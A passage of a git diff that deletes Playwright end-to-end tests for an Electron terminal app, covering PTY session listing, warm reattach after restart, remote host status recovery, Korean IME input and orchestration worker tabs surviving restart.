globalThis.__ptyViewCounts - }) - expect(after.listing).toBe(before.listing) - expect(after.metrics).toBe(before.metrics) - await lastTerminal.click() - await expect( - orcaPage.getByRole('dialog', { name: `End Terminal ${sessionCount - 1}?` }) - ).toHaveCount(0) - await expect( - orcaPage.getByText( - 'A client is now attached to this terminal. Refresh before trying again.', - { exact: true } - ) - ).toBeVisible() - expect( - ( - await electronApp.evaluate(() => { - if (!globalThis.__ptyViewCounts) { - throw new Error('PTY view counters missing') - } - return globalThis.__ptyViewCounts - }) - ).kills - ).toEqual([ - { - id: lastSessionId, - expectedIncarnationId: `incarnation-${sessionCount - 1}`, - requireNoAgentOwner: true, - requireUnattached: true - } - ]) - await body - .getByRole('checkbox', { - name: `Select Terminal ${sessionCount - 1}`, - exact: true - }) - .check() - await body.evaluate((element) => { - element.scrollTop = 0 - }) - await body.getByRole('checkbox', { name: 'Select Terminal 0', exact: true }).check() - await orcaPage.screenshot({ - path: testInfo.outputPath(`local-ptys-selected-${theme}.png`), - animations: 'disabled' - }) - await panel.getByRole('button', { name: 'End selected (2)', exact: true }).click() - await expect( - panel.getByRole('button', { name: 'End selected (0)', exact: true }) - ).toBeDisabled() - await expect(orcaPage.getByRole('dialog', { name: /^End / })).toHaveCount(0) - await expect - .poll(() => electronApp.evaluate(() => globalThis.__ptyViewCounts?.kills?.length)) - .toBe(3) - await orcaPage.screenshot({ - path: testInfo.outputPath(`local-ptys-${theme}.png`), - animations: 'disabled' - }) - await testInfo.attach(`local-ptys-${theme}`, { - path: testInfo.outputPath(`local-ptys-${theme}.png`), - contentType: 'image/png' - }) - await testInfo.attach('interaction-measurement', { - body: JSON.stringify({ - rows: sessionCount, - listingCalls: before.listing, - metricCalls: before.metrics - }), - contentType: 'application/json' - }) - }) -} diff --git a/tests/e2e/resource-usage-warm-reattach.spec.ts b/tests/e2e/resource-usage-warm-reattach.spec.ts deleted file mode 100644 index d32dccc3f58..00000000000 --- a/tests/e2e/resource-usage-warm-reattach.spec.ts +++ /dev/null @@ -1,135 +0,0 @@ -// #1667: a warm daemon PTY must appear in the local memory snapshot with a real PID before second-launch pane mount. -// Also check local connectionId/view-model inputs so missing registry hydration cannot mislabel the workspace as remote; SSH merge behavior is unit-tested. - -import { existsSync, readFileSync } from 'node:fs' -import type { ElectronApplication } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { TEST_REPO_PATH_FILE } from './global-setup' -import { - discoverActivePtyId, - waitForActiveTerminalManager, - waitForPaneCount -} from './helpers/terminal' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' - -// Run serially so restart keeps the same profile/daemon socket without competing app locks. -test.describe.configure({ mode: 'serial' }) - -test.describe('Resource Usage warm-reattach', () => { - test('warm-reattached local PTY is included in snapshot with non-null pid and is not flagged remote', async (// oxlint-disable-next-line no-empty-pattern -- Playwright's second fixture arg is testInfo; the first must be an object destructure to opt out of the default fixture set. - {}, testInfo) => { - const repoPath = readFileSync(TEST_REPO_PATH_FILE, 'utf-8').trim() - if (!repoPath || !existsSync(repoPath)) { - test.skip(true, 'Global setup did not produce a seeded test repo') - return - } - - const session = createRestartSession(testInfo) - let firstApp: ElectronApplication | null = null - let secondApp: ElectronApplication | null = null - - try { - const firstLaunch = await session.launch() - firstApp = firstLaunch.app - const worktreeId = await attachRepoAndOpenTerminal(firstLaunch.page, repoPath) - await waitForSessionReady(firstLaunch.page) - await waitForActiveWorktree(firstLaunch.page) - await ensureTerminalVisible(firstLaunch.page) - - const hasPaneManager = await waitForActiveTerminalManager(firstLaunch.page, 30_000) - .then(() => true) - .catch(() => false) - test.skip( - !hasPaneManager, - 'Electron automation in this environment never mounts the TerminalPane manager.' - ) - await waitForPaneCount(firstLaunch.page, 1, 30_000) - const ptyId = await discoverActivePtyId(firstLaunch.page) - - // Require the daemon session before quit so relaunch has real warm state. - const firstLaunchSessions = await firstLaunch.page.evaluate(async () => { - return window.api.pty.listSessions() - }) - expect(firstLaunchSessions.some((s) => s.id === ptyId)).toBe(true) - - // App close runs beforeunload but leaves the detached daemon alive, the warm-reattach precondition. - await session.close(firstApp) - firstApp = null - - const secondLaunch = await session.launch() - secondApp = secondLaunch.app - await waitForSessionReady(secondLaunch.page) - - // Poll through async boot hydration and provider.listSessions before judging the snapshot. - type WarmRow = { worktreeId: string; sessionId: string; pid: number | null } - const warmRow: WarmRow | null = await expect - .poll( - async () => - secondLaunch.page.evaluate(async (expectedPtyId: string) => { - const snap = await window.api.memory.getSnapshot() - if (!snap) { - return null - } - for (const wt of snap.worktrees) { - for (const s of wt.sessions) { - if (s.sessionId === expectedPtyId) { - return { worktreeId: wt.worktreeId, sessionId: s.sessionId, pid: s.pid } - } - } - } - return null - }, ptyId), - { - timeout: 15_000, - message: - 'Boot hydration did not register the warm-reattached PTY in the memory snapshot' - } - ) - .not.toBeNull() - .then(async () => - secondLaunch.page.evaluate(async (expectedPtyId: string) => { - const snap = await window.api.memory.getSnapshot() - if (!snap) { - return null - } - for (const wt of snap.worktrees) { - for (const s of wt.sessions) { - if (s.sessionId === expectedPtyId) { - return { worktreeId: wt.worktreeId, sessionId: s.sessionId, pid: s.pid } - } - } - } - return null - }, ptyId) - ) - - expect(warmRow).not.toBeNull() - expect(warmRow!.worktreeId).toBe(worktreeId) - // Require the real collector row/PID; merge fallback alone can synthesize a metric-less row. - expect(warmRow!.pid).not.toBeNull() - expect(warmRow!.pid! > 0).toBe(true) - - // Verify local connectionId and merged inputs without depending on an off-screen popover; unit tests pin its predicate. - const isLocalRepo = await secondLaunch.page.evaluate((wid: string) => { - const store = window.__store - if (!store) { - return null - } - const state = store.getState() - const repoId = wid.split('::')[0] - const repo = state.repos.find((r) => r.id === repoId) - return repo ? (repo.connectionId ?? null) === null : null - }, worktreeId) - expect(isLocalRepo).toBe(true) - } finally { - if (secondApp) { - await session.close(secondApp) - } - if (firstApp) { - await session.close(firstApp) - } - await session.dispose() - } - }) -}) diff --git a/tests/e2e/runtime-host-status-recovery.spec.ts b/tests/e2e/runtime-host-status-recovery.spec.ts deleted file mode 100644 index 4c35bb3fa96..00000000000 --- a/tests/e2e/runtime-host-status-recovery.spec.ts +++ /dev/null @@ -1,254 +0,0 @@ -import { createConnection, createServer, type Socket, type AddressInfo } from 'node:net' -import type { Page } from '@stablyai/playwright-test' -import { - decodePairingOffer, - encodePairingOffer -} from '../../src/shared/remote-runtime/pairing/pairing' -import type { PairingCreateOfferResult } from '../../src/shared/remote-runtime/pairing/pairing-create-offer-contract' -import { expect, test } from './helpers/orca-app' -import { - createRuntimeDesktopPairingOffer, - launchPairedElectronClient, - launchPairedWebClient, - type RuntimeDesktopPairingOffer -} from './helpers/paired-electron-client' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' - -async function interruptibleHost(offer: RuntimeDesktopPairingOffer) { - const pairing = decodePairingOffer(offer.pairingUrl) - const endpoint = new URL(pairing.endpoint) - const sockets = new Set() - let online = true - const server = createServer((client) => { - if (!online) { - client.destroy() - return - } - const host = createConnection({ host: endpoint.hostname, port: Number(endpoint.port) }) - for (const socket of [client, host]) { - sockets.add(socket) - socket.on('error', () => { - client.destroy() - host.destroy() - }) - socket.on('close', () => { - sockets.delete(socket) - client.destroy() - host.destroy() - }) - } - client.pipe(host).pipe(client) - }) - await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)) - const address = server.address() as AddressInfo - function proxyPairingOffer(candidate: RuntimeDesktopPairingOffer) { - const pairingUrl = encodePairingOffer({ - ...decodePairingOffer(candidate.pairingUrl), - endpoint: `ws://127.0.0.1:${address.port}` - }) - let webClientUrl: string | undefined - if (candidate.webClientUrl) { - const url = new URL(candidate.webClientUrl) - url.search = '' - url.hash = new URLSearchParams({ pairing: pairingUrl }).toString() - webClientUrl = url.href - } - return { pairingUrl, webClientUrl } - } - return { - offer: proxyPairingOffer(offer), - proxyPairingOffer, - setOnline(value: boolean) { - online = value - if (!online) { - sockets.forEach((socket) => socket.destroy()) - } - }, - async close() { - sockets.forEach((socket) => socket.destroy()) - await new Promise((resolve) => server.close(() => resolve())) - } - } -} - -async function statusEvidence(page: Page, environmentId?: string) { - return page.evaluate((id) => { - const entries = window.__store?.getState().runtimeStatusByEnvironmentId - const entry = id ? entries?.get(id) : entries?.values().next().value - return entry?.snapshot - ? { - verification: entry.snapshot.verification, - transport: entry.snapshot.transport, - runtimeId: entry.status?.runtimeId, - sequence: entry.snapshot.sequence - } - : null - }, environmentId) -} - -async function expectWorkspaceHostAppearance( - page: Page, - disconnected: boolean, - hostLabel?: string -) { - const cards = page.locator('[data-worktree-card-surface="true"]') - const card = ( - hostLabel ? cards.filter({ has: page.getByText(hostLabel, { exact: true }) }) : cards - ).first() - await expect(card).toBeVisible() - await expect(card).toHaveCSS('opacity', disconnected ? '0.6' : '1') - const icon = card.locator(disconnected ? 'svg.lucide-server-off' : 'svg.lucide-server').first() - await expect(icon).toBeVisible() - await expect( - card.locator(disconnected ? 'svg.lucide-server' : 'svg.lucide-server-off') - ).toHaveCount(0) - await expect(icon).toHaveClass(disconnected ? /text-destructive/ : /text-muted-foreground/) - await icon.hover() - // Name the host: the previous card's tooltip can still be closing in the DOM. - const tooltipName = hostLabel - ? disconnected - ? `${hostLabel} disconnected` - : `Project on ${hostLabel}` - : disconnected - ? /disconnected/i - : /Project on/ - await expect(page.getByRole('tooltip', { name: tooltipName, exact: true })).toBeVisible() - await page.mouse.move(900, 600) -} - -for (const topology of ['desktop', 'headless'] as const) { - test(`connection-owned status recovers with a ${topology} host and independent viewers`, async ({ - electronApp, - orcaPage: page, - testRepoPath - }, testInfo) => { - test.setTimeout(180_000) - let headless: Awaited> | null = null - let proxy: Awaited> | undefined - let client: Awaited> | undefined - let browser: Awaited> | undefined - try { - // Why two servers: a client saves one entry per server, so the steady host must be another one. - headless = await launchHeadlessPairedRuntimeHost({ pinnedServePort: true }) - await headless.client.call('repo.add', { path: testRepoPath }) - const desktopOffer = await createRuntimeDesktopPairingOffer(page) - const [recoveringOffer, directOffer] = - topology === 'headless' ? [headless.offer, desktopOffer] : [desktopOffer, headless.offer] - proxy = await interruptibleHost(recoveringOffer) - client = await launchPairedElectronClient(directOffer, testInfo, 'Direct host') - proxy.setOnline(false) - const offlineId = await client.page.evaluate(async (pairingCode) => { - const { environment } = await window.api.runtimeEnvironments.addFromPairingCode({ - name: 'Recovering host', - pairingCode - }) - const store = window.__store!.getState() - store.setRuntimeEnvironments(await window.api.runtimeEnvironments.list()) - await store.refreshRuntimeEnvironmentStatus(environment.id, 1_000) - return environment.id - }, proxy.offer.pairingUrl) - await expect - .poll(() => statusEvidence(client!.page, offlineId)) - .toMatchObject({ verification: 'unavailable' }) - expect(await statusEvidence(client!.page, client.environmentId)).toMatchObject({ - verification: 'verified' - }) - proxy.setOnline(true) - await expect - .poll(() => statusEvidence(client!.page, offlineId), { timeout: 30_000 }) - .toMatchObject({ verification: 'verified', transport: 'ready' }) - const initial = await statusEvidence(client!.page, offlineId) - await expectWorkspaceHostAppearance(client.page, false, 'Recovering host') - await expect(client.page.getByText('Recovering host', { exact: true }).first()).toBeVisible() - await client.page.screenshot({ path: testInfo.outputPath(`${topology}-recovered.png`) }) - // Each viewer needs its own ticket; browser key migration retires its pairing ticket. - let browserOffer: RuntimeDesktopPairingOffer - if (topology === 'desktop') { - browserOffer = await createRuntimeDesktopPairingOffer(page) - } else { - const { result } = await headless.client.call( - 'pairing.createOffer', - { - scope: 'runtime', - address: '127.0.0.1', - rotate: true - } - ) - if (!result.available) { - throw new Error(result.guidance) - } - browserOffer = { - pairingUrl: result.pairingUrl, - ...(result.webClientUrl ? { webClientUrl: result.webClientUrl } : {}) - } - } - browser = await launchPairedWebClient(electronApp, proxy.proxyPairingOffer(browserOffer)) - await expect - .poll(() => statusEvidence(browser!.page), { timeout: 30_000 }) - .toMatchObject({ verification: 'verified', transport: 'ready' }) - await expectWorkspaceHostAppearance(browser.page, false) - proxy.setOnline(false) - await expect - .poll(() => statusEvidence(client!.page, offlineId)) - .toMatchObject({ transport: 'disconnected' }) - await expect - .poll(() => statusEvidence(browser!.page), { timeout: 30_000 }) - .toMatchObject({ transport: 'disconnected' }) - expect(await statusEvidence(client!.page, client.environmentId)).toMatchObject({ - verification: 'verified', - transport: 'ready' - }) - await expectWorkspaceHostAppearance(client.page, false, 'Recovering host') - await expectWorkspaceHostAppearance(client.page, false, 'Direct host') - await expectWorkspaceHostAppearance(browser.page, false) - await client.page.screenshot({ - path: testInfo.outputPath(`${topology}-sidebar-reconnecting.png`) - }) - await browser.page.screenshot({ - path: testInfo.outputPath(`${topology}-browser-reconnecting.png`) - }) - proxy.setOnline(true) - await expect - .poll(() => statusEvidence(client!.page, offlineId), { timeout: 30_000 }) - .toMatchObject({ verification: 'verified', transport: 'ready' }) - await expect - .poll(() => statusEvidence(browser!.page), { timeout: 30_000 }) - .toMatchObject({ verification: 'verified', transport: 'ready' }) - expect((await statusEvidence(client!.page, offlineId))!.sequence).toBeGreaterThan( - initial!.sequence - ) - await expectWorkspaceHostAppearance(client.page, false, 'Recovering host') - await expectWorkspaceHostAppearance(browser.page, false) - await browser.page.screenshot({ - path: testInfo.outputPath(`${topology}-browser-recovered.png`) - }) - await client.page.evaluate(async (selector) => { - await window.api.runtimeEnvironments.disconnect({ selector }) - }, offlineId) - await expect - .poll(() => statusEvidence(client!.page, offlineId)) - .toMatchObject({ verification: 'blocked', transport: 'disconnected' }) - await expectWorkspaceHostAppearance(client.page, true, 'Recovering host') - await expectWorkspaceHostAppearance(client.page, false, 'Direct host') - await client.page.screenshot({ - path: testInfo.outputPath(`${topology}-sidebar-disconnected.png`) - }) - await client.page.evaluate(async (selector) => { - await window.api.runtimeEnvironments.connect({ selector }) - }, offlineId) - await expect - .poll(() => statusEvidence(client!.page, offlineId), { timeout: 30_000 }) - .toMatchObject({ verification: 'verified', transport: 'ready' }) - await expectWorkspaceHostAppearance(client.page, false, 'Recovering host') - await expectWorkspaceHostAppearance(browser.page, false) - await client.page.screenshot({ - path: testInfo.outputPath(`${topology}-sidebar-restored.png`) - }) - } finally { - await browser?.dispose() - await client?.dispose() - await proxy?.close() - await headless?.dispose() - } - }) -} diff --git a/tests/e2e/settings-display-name-ime.spec.ts b/tests/e2e/settings-display-name-ime.spec.ts deleted file mode 100644 index efe791f58bb..00000000000 --- a/tests/e2e/settings-display-name-ime.spec.ts +++ /dev/null @@ -1,131 +0,0 @@ -// Reproduce 가나다 → ㄱㅏㄴㅏㄷㅏ from controlled Display Name resets during real Blink composition. -// Use CDP Input.imeSetComposition because Playwright keyboard events cannot drive IME composition. -import type { CDPSession, Locator, Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { getStoreState, waitForSessionReady } from './helpers/store' -import type { Repo } from '../../src/shared/repository/repo-types' - -async function openRepoSettings(page: Page, repoId: string): Promise { - await page.evaluate((repoId) => { - const state = window.__store!.getState() - state.openSettingsTarget({ pane: 'repo', repoId }) - state.openSettingsPage() - }, repoId) - await expect(page.getByPlaceholder('Search settings')).toBeVisible({ timeout: 10_000 }) - // Why: first-run announcements can cover the settings pane on fresh profiles. - const maybeLaterButton = page.getByRole('button', { name: 'Maybe Later' }) - if (await maybeLaterButton.isVisible({ timeout: 1_000 }).catch(() => false)) { - await maybeLaterButton.click() - } -} - -// Model 2-set Korean ㄱㅏㄴㅏㄷㅏ joins and commits when a key cannot extend the pending syllable. -function combineJamo(pending: string, key: string): { commit?: string; compose: string } { - const joins: Record = { - 'ㄱ+ㅏ': { compose: '가' }, - 'ㄴ+ㅏ': { compose: '나' }, - 'ㄷ+ㅏ': { compose: '다' }, - '가+ㄴ': { compose: '간' }, - '간+ㅏ': { commit: '가', compose: '나' }, - '나+ㄷ': { compose: '낟' }, - '낟+ㅏ': { commit: '나', compose: '다' } - } - if (!pending) { - return { compose: key } - } - // Why: like a real IME, a non-joinable key commits the pending text and - // starts a fresh composition with just the new key. - return joins[`${pending}+${key}`] ?? { commit: pending, compose: key } -} - -// Emulate slow Korean IME typing and detect controlled-value clobbers after input; browser IME cancellation emits no observable compositionend. -// Restart composition after each clobber, reproducing per-key async store echoes that split syllables into bare jamo. -async function typeHangulGanadaSlowly( - session: CDPSession, - page: Page, - input: Locator -): Promise { - await input.evaluate((el) => { - const w = window as unknown as { __imeClobbered?: boolean } - w.__imeClobbered = false - el.addEventListener('input', () => { - const seen = (el as HTMLInputElement).value - // Poll on a macrotask because React restores controlled values after input microtasks. - setTimeout(() => { - if ((el as HTMLInputElement).value !== seen) { - w.__imeClobbered = true - } - }, 0) - }) - }) - const takeClobbered = (): Promise => - page.evaluate(() => { - const w = window as unknown as { __imeClobbered?: boolean } - const clobbered = w.__imeClobbered === true - w.__imeClobbered = false - return clobbered - }) - - let committed = '' - let pending = '' - for (const key of ['ㄱ', 'ㅏ', 'ㄴ', 'ㅏ', 'ㄷ', 'ㅏ']) { - if (await takeClobbered()) { - committed = await input.inputValue() - pending = '' - } - const { commit, compose } = combineJamo(pending, key) - if (commit) { - committed += commit - } - const compositionText = `${committed}${compose}` - await session.send('Input.imeSetComposition', { - text: compositionText, - selectionStart: compositionText.length, - selectionEnd: compositionText.length - }) - pending = compose - // Slow typing: let the async store echo land before the next key. - await page.waitForTimeout(200) - } - - // Finish with compositionend so deferred persistence runs; insertText replaces the current region without double-committing. - await session.send('Input.insertText', { text: committed + pending }) -} - -test.describe('Repository Display Name IME composition', () => { - test('keeps Hangul syllables composed while typing slowly', async ({ orcaPage }) => { - await waitForSessionReady(orcaPage) - - const repos = await getStoreState(orcaPage, 'repos') - expect(repos.length).toBeGreaterThan(0) - const repo = repos[0] - - await openRepoSettings(orcaPage, repo.id) - - const repoSection = orcaPage.locator(`[data-settings-section="repo-${repo.id}"]`) - const displayNameInput = repoSection.getByLabel('Display Name') - await expect(displayNameInput).toHaveValue(repo.displayName) - - // Clear and wait for the async store echo to settle before composing. - await displayNameInput.click() - await displayNameInput.fill('') - await expect(displayNameInput).toHaveValue('') - - const session = await orcaPage.context().newCDPSession(orcaPage) - await typeHangulGanadaSlowly(session, orcaPage, displayNameInput) - - // Require composed syllables despite async updateRepo echoes that previously cancelled each key. - await expect(displayNameInput).toHaveValue('가나다') - - // The per-keystroke persist still reaches the store. - await expect - .poll( - async () => { - const current = await getStoreState(orcaPage, 'repos') - return current.find((entry) => entry.id === repo.id)?.displayName - }, - { timeout: 5_000, message: 'display name did not persist to the store' } - ) - .toBe('가나다') - }) -}) diff --git a/tests/e2e/settled-worker-tab-survives-restart.spec.ts b/tests/e2e/settled-worker-tab-survives-restart.spec.ts deleted file mode 100644 index d43e5a9ebef..00000000000 --- a/tests/e2e/settled-worker-tab-survives-restart.spec.ts +++ /dev/null @@ -1,526 +0,0 @@ -import { parseWorkspaceSession } from '../../src/shared/workspace-session/workspace-session-schema' -import { readPersistedProfileState } from './helpers/persisted-profile-state' -import { existsSync, readFileSync } from 'node:fs' -import path from 'node:path' -import { DaemonClient } from '../../src/main/daemon/transport/client/daemon-client' -import { - getDaemonSocketPath, - getDaemonTokenPath -} from '../../src/main/daemon/launch/daemon-spawner' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { TEST_REPO_PATH_FILE } from './global-setup' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - waitForActivePaneHookDescriptor, - waitForActivePanePtyId, - waitForActiveTerminalManager -} from './helpers/terminal' -import { FAKE_AGENT_WINDOWS_SHELL } from './helpers/fake-agent-command-override' -import { - clearCompletedWorkerLedger, - completedWorkerFakeCodexCommand, - completedWorkerLaunchEnv, - listRuntimeTerminals, - hasCompletedWorkerReceivedPreamble, - readCompletedWorkerLedger, - seedCurrentCodexTranscript -} from './helpers/completed-worker-retirement-fixture' -import { RuntimeClient } from '../../src/cli/runtime/client' -import type { RuntimeTerminalSummary } from '../../src/shared/terminal/runtime/runtime-terminal-contracts' -import { splitWorktreeIdForFilesystem } from '../../src/shared/worktree/id' - -const PROVIDER_SESSION_ID = '019feb51-2269-71c2-89c6-faa8dc65c8dd' - -test.describe.configure({ mode: 'serial' }) - -async function findSecondaryWorktree( - page: Page, - client: RuntimeClient, - coordinatorWorktreeId: string -): Promise { - let targetWorktreeId: string | null = null - await expect - .poll( - async () => { - const listed = await client.call<{ worktrees: { id: string }[] }>('worktree.list', {}) - // The restart fixture only waits for the primary; refetch until the seeded secondary lands. - const rendererWorktreeIds = await page.evaluate(async () => { - const store = window.__store - if (!store) { - return [] - } - await Promise.all( - store.getState().repos.map((repo) => store.getState().fetchWorktrees(repo.id)) - ) - return Object.values(store.getState().worktreesByRepo) - .flat() - .map((worktree) => worktree.id) - }) - targetWorktreeId = - listed.result.worktrees.find( - (worktree) => - worktree.id !== coordinatorWorktreeId && rendererWorktreeIds.includes(worktree.id) - )?.id ?? null - return targetWorktreeId - }, - { timeout: 60_000, message: 'runtime never registered the secondary worktree' } - ) - .not.toBeNull() - if (!targetWorktreeId) { - throw new Error('The seeded repository did not expose its secondary worktree') - } - return targetWorktreeId -} - -async function backgroundMountTab(page: Page, worktreeId: string, tabId: string): Promise { - // The synthetic event bypasses the production queue, so its Terminal listener must be mounted. - await waitForActiveTerminalManager(page) - await page.evaluate( - ({ tabId, worktreeId }) => { - window.dispatchEvent( - new CustomEvent('orca-background-mount-terminal-worktree', { - detail: { worktreeId, tabIds: [tabId] } - }) - ) - }, - { tabId, worktreeId } - ) - await expect - .poll(() => page.evaluate((tabId) => Boolean(window.__paneManagers?.get(tabId)), tabId)) - .toBe(true) -} - -function readPersistedSession(userDataDir: string) { - const parsed = parseWorkspaceSession(readPersistedProfileState(userDataDir).workspaceSession) - if (!parsed.ok) { - throw new Error(`Invalid persisted workspace session: ${parsed.error}`) - } - return parsed.value -} - -function expectNoPersistedWorkerFence(userDataDir: string, paneKey: string): void { - const persisted = readPersistedProfileState(userDataDir).workspaceSession - // Keep the baseline running through reveal even when it still writes the withdrawn policy. - expect - .soft(persisted) - .not.toHaveProperty(['sleepingAgentSessionsByPaneKey', paneKey, 'automaticResumeBlockedBy']) - expect.soft(persisted).not.toHaveProperty(['legacyWorkerResumeFencesByPaneKey', paneKey]) -} - -// A restored worker must attach through main so revealing it never fabricates a missing PTY. -for (const daemonSessionGone of [false, true]) { - test(`a settled worker tab survives restart with daemon session ${daemonSessionGone ? 'exited' : 'live'}`, async (// oxlint-disable-next-line no-empty-pattern -- Playwright's second fixture arg is testInfo; the first must be an object destructure to opt out of the default fixture set. - {}, testInfo) => { - test.setTimeout(300_000) - const repoPath = readFileSync(TEST_REPO_PATH_FILE, 'utf-8').trim() - if (!repoPath || !existsSync(repoPath)) { - test.skip(true, 'Global setup did not produce a seeded test repo') - return - } - clearCompletedWorkerLedger() - - const session = createRestartSession(testInfo, completedWorkerLaunchEnv) - let firstApp: ElectronApplication | null = null - let secondApp: ElectronApplication | null = null - try { - const first = await session.launch() - firstApp = first.app - const coordinatorWorktreeId = await attachRepoAndOpenTerminal(first.page, repoPath) - await waitForSessionReady(first.page) - await waitForActiveWorktree(first.page) - await ensureTerminalVisible(first.page) - await waitForActiveTerminalManager(first.page) - await waitForActivePanePtyId(first.page) - await first.page.evaluate( - async ({ agentCommand, terminalWindowsShell }) => { - await window.__store?.getState().updateSettings({ - agentCmdOverrides: { codex: agentCommand }, - terminalWindowsShell, - disabledTuiAgents: [], - terminalHiddenViewParking: false - }) - }, - { - agentCommand: completedWorkerFakeCodexCommand, - terminalWindowsShell: FAKE_AGENT_WINDOWS_SHELL - } - ) - const isolatedHome = await firstApp.evaluate(({ app }) => app.getPath('home')) - const client = new RuntimeClient(session.userDataDir, 30_000, null, null) - const coordinatorPane = await waitForActivePaneHookDescriptor(first.page) - const coordinatorHandle = ( - await client.call<{ terminal: { handle: string } }>('terminal.resolvePane', { - paneKey: coordinatorPane.paneKey - }) - ).result.terminal.handle - const targetWorktreeId = await findSecondaryWorktree( - first.page, - client, - coordinatorWorktreeId - ) - const targetWorktreePath = splitWorktreeIdForFilesystem(targetWorktreeId)?.worktreePath - if (!targetWorktreePath) { - throw new Error('The secondary worktree did not expose a filesystem path') - } - - const run = await client.call<{ run: { id: string } }>('orchestration.runCreate', { - objective: 'Keep one settled worker tab across restart', - from: coordinatorHandle - }) - const task = await client.call<{ task: { id: string } }>('orchestration.taskCreate', { - spec: 'Report completion and stay open', - run: run.result.run.id, - callerTerminalHandle: coordinatorHandle - }) - const started = await client.call<{ - dispatchId: string - state: string - effects: { kind: string; role?: string; id?: string }[] - }>('orchestration.workerStart', { - task: task.result.task.id, - from: coordinatorHandle, - worktree: `id:${targetWorktreeId}`, - agent: 'codex', - timeoutMs: 30_000 - }) - expect(started.result.state).toBe('ready') - const workerHandle = started.result.effects.find( - (effect) => effect.kind === 'terminal' && effect.role === 'agent' - )?.id - if (!workerHandle) { - throw new Error('worker-start did not return its agent terminal') - } - let worker: RuntimeTerminalSummary | undefined - await expect - .poll( - async () => { - worker = (await listRuntimeTerminals(client)).find( - (terminal) => terminal.handle === workerHandle - ) - return worker?.ptyId ?? null - }, - { timeout: 30_000, message: 'background worker never published its PTY identity' } - ) - .not.toBeNull() - if (!worker?.ptyId) { - throw new Error('Background worker did not publish its PTY') - } - const workerPtyId = worker.ptyId - const workerTabId = worker.tabId - const workerPaneKey = `${worker.tabId}:${worker.leafId}` - await backgroundMountTab(first.page, targetWorktreeId, workerTabId) - await expect.poll(() => hasCompletedWorkerReceivedPreamble()).toBe(true) - const transcriptPath = seedCurrentCodexTranscript( - isolatedHome, - PROVIDER_SESSION_ID, - targetWorktreePath - ) - await first.page.evaluate( - ({ - agentCommand, - paneKey, - providerSessionId, - tabId, - terminalHandle, - transcriptPath, - worktreeId - }) => { - const state = window.__store?.getState() - if (!state) { - throw new Error('Renderer store unavailable') - } - const metadata = { tabId, worktreeId, terminalHandle } - const recovery = { - providerSession: { key: 'session_id' as const, id: providerSessionId, transcriptPath }, - launchConfig: { - agentCommand, - agentArgs: '--dangerously-bypass-approvals-and-sandbox', - agentEnv: {} - } - } - for (const agentState of ['working', 'done'] as const) { - state.setAgentStatus( - paneKey, - { state: agentState, prompt: 'Report completion and stay open', agentType: 'codex' }, - 'Settled background worker', - undefined, - metadata, - recovery - ) - } - }, - { - agentCommand: completedWorkerFakeCodexCommand, - paneKey: workerPaneKey, - providerSessionId: PROVIDER_SESSION_ID, - tabId: workerTabId, - terminalHandle: workerHandle, - transcriptPath, - worktreeId: targetWorktreeId - } - ) - const completed = await client.call<{ message: { type: string } }>('orchestration.send', { - from: workerHandle, - subject: 'Completed', - body: 'The fixture completed and stays open for inspection.', - type: 'worker_done', - payload: JSON.stringify({ - taskId: task.result.task.id, - dispatchId: started.result.dispatchId, - outcome: 'succeeded' - }) - }) - expect(completed.result.message.type).toBe('worker_done') - const taskBeforeRestart = ( - await client.call('orchestration.taskList', { run: run.result.run.id }) - ).result - const dispatchBeforeRestart = ( - await client.call('orchestration.dispatchShow', { task: task.result.task.id }) - ).result - - await session.close(firstApp) - firstApp = null - expectNoPersistedWorkerFence(session.userDataDir, workerPaneKey) - expect(readCompletedWorkerLedger().filter((event) => event.event === 'normal-exit')).toEqual( - [] - ) - - const launchesBeforeRestart = readCompletedWorkerLedger().filter( - (event) => event.event === 'spawn' - ) - if (daemonSessionGone) { - const daemonDir = path.join(session.userDataDir, 'daemon') - const daemon = new DaemonClient({ - socketPath: getDaemonSocketPath(daemonDir), - tokenPath: getDaemonTokenPath(daemonDir) - }) - try { - await daemon.ensureConnected() - await daemon.request('kill', { sessionId: workerPtyId, immediate: true }) - await expect - .poll(async () => { - const result = await daemon.request<{ sessions: { sessionId: string }[] }>( - 'listSessions', - undefined - ) - return result.sessions.some((entry) => entry.sessionId === workerPtyId) - }) - .toBe(false) - } finally { - daemon.disconnect() - } - } - const second = await session.launch() - secondApp = second.app - await waitForSessionReady(second.page) - if (!daemonSessionGone) { - // The restarted runtime must rediscover the daemon-owned worker before reveal. - await expect - .poll( - async () => - (await listRuntimeTerminals(client)).find( - (terminal) => terminal.ptyId === workerPtyId - )?.connected ?? null, - { timeout: 60_000, message: 'restarted runtime never rediscovered the worker PTY' } - ) - .toBe(true) - } - expect( - await second.page.evaluate( - ({ tabId, worktreeId }) => - Boolean( - window.__store?.getState().tabsByWorktree[worktreeId]?.some((tab) => tab.id === tabId) - ), - { tabId: workerTabId, worktreeId: targetWorktreeId } - ) - ).toBe(true) - - // Hidden mount, then click to reveal: reveal runs the missing-session reconciler. - await backgroundMountTab(second.page, targetWorktreeId, workerTabId) - // Poll the pane’s binding after hidden mount: backgroundMountTab waits only for its manager, while hasPty proves host liveness without proving reattach. - if (!daemonSessionGone) { - await expect - .configure({ soft: true }) - .poll( - () => - second.page.evaluate( - (tabId) => - window.__paneManagers?.get(tabId)?.getPanes?.()[0]?.container?.dataset?.ptyId ?? - null, - workerTabId - ), - { timeout: 20_000, message: 'liveness before reveal' } - ) - .toBe(workerPtyId) - } - await second.page.evaluate( - ({ tabId, worktreeId }) => { - const store = window.__store - if (!store) { - throw new Error('Renderer store unavailable') - } - type Transition = { - activeWorktreeId: string | null - tabPresent: boolean - leafPtyIds: string[] - activeTabId: string | null - } - const snapshot = (state: ReturnType): Transition => ({ - activeWorktreeId: state.activeWorktreeId ?? null, - tabPresent: Boolean(state.tabsByWorktree[worktreeId]?.some((tab) => tab.id === tabId)), - leafPtyIds: Object.values(state.terminalLayoutsByTabId[tabId]?.ptyIdsByLeafId ?? {}), - activeTabId: 